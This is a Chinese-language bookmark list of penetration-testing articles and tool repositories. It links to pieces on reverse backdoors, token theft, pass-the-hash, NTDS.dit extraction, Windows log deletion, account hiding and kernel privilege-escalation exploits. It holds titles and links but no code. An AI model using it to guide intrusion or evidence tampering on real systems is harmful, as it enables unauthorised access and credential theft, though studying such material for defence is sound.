白名單下載惡意代碼
https://github.com/tom0li/security_circle/blob/master/51288554228124.md
一條命令實現無文件兼容性強的反彈后門,收集自強大的前烏雲
https://github.com/tom0li/security_circle/blob/master/15288418585142.md
滲透技巧——從github下載文件的多種方法
https://xianzhi.aliyun.com/forum/topic/1649/
滲透技巧——從Admin權限切換到System權限
http://www.4hou.com/technology/8814.html
滲透技巧——程序的降權啟動
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/
強制通過VPN上網,VPN斷線就斷網
https://www.t00ls.net/articles-38739.html
ip代理工具shadowProxy-代理池
滲透技巧——Windows系統的帳戶隱藏
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B8%90%E6%88%B7%E9%9A%90%E8%97%8F/
滲透技巧——”隱藏”注冊表的更多測試
http://www.4hou.com/penetration/9132.html
滲透技巧——Windows日志的刪除與繞過
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/
滲透技巧——Token竊取與利用
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Token%E7%AA%83%E5%8F%96%E4%B8%8E%E5%88%A9%E7%94%A8/
域滲透——Pass The Hash的實現
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Pass-The-Hash%E7%9A%84%E5%AE%9E%E7%8E%B0/
域滲透——獲得域控服務器的NTDS.dit文件
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E8%8E%B7%E5%BE%97%E5%9F%9F%E6%8E%A7%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84NTDS.dit%E6%96%87%E4%BB%B6/
滲透技巧——獲得Windows系統的遠程桌面連接歷史記錄
https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%8E%B7%E5%BE%97Windows%E7%B3%BB%E7%BB%9F%E7%9A%84%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%E5%8E%86%E5%8F%B2%E8%AE%B0%E5%BD%95/
滲透技巧 | Windows上傳並執行惡意代碼的N種姿勢
域滲透——利用SYSVOL還原組策略中保存的密碼
https://xianzhi.aliyun.com/forum/topic/1653/
Windows 日志攻防之攻擊篇
https://threathunter.org/topic/593eb1bbb33ad233198afcfa
從活動目錄中獲取域管理員權限的6種方法
http://www.4hou.com/technology/4256.html
當服務器只開web服務並且防火牆不准服務器對外主動發起鏈接時
3gstudent/Pentest-and-Development-Tips
https://github.com/3gstudent/Pentest-and-Development-Tips
滲透測試中常見的小TIPS總結和整理
http://avfisher.win/archives/100
內網滲透思路整理與工具使用
https://www.anquanke.com/post/id/85827
windows內網滲透雜談
https://bl4ck.in/penetration/2017/03/20/windows%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E6%9D%82%E8%B0%88.html
60字節 - 無文件滲透測試實驗
https://www.n0tr00t.com/2017/03/09/penetration-test-without-file.html
關於windows的RDP連接記錄
http://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/
Rcoil內網滲透
http://rcoil.me/2017/06/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/
3389user無法添加
http://www.91ri.org/5866.html
win提權輔助tool
https://github.com/GDSSecurity/Windows-Exploit-Suggester/
詳解Linux權限提升的攻擊與防護
https://www.anquanke.com/post/id/98628
windows-kernel-exploits Windows平台提權漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
linux-kernel-exploits Linux平台提權漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
hash與票據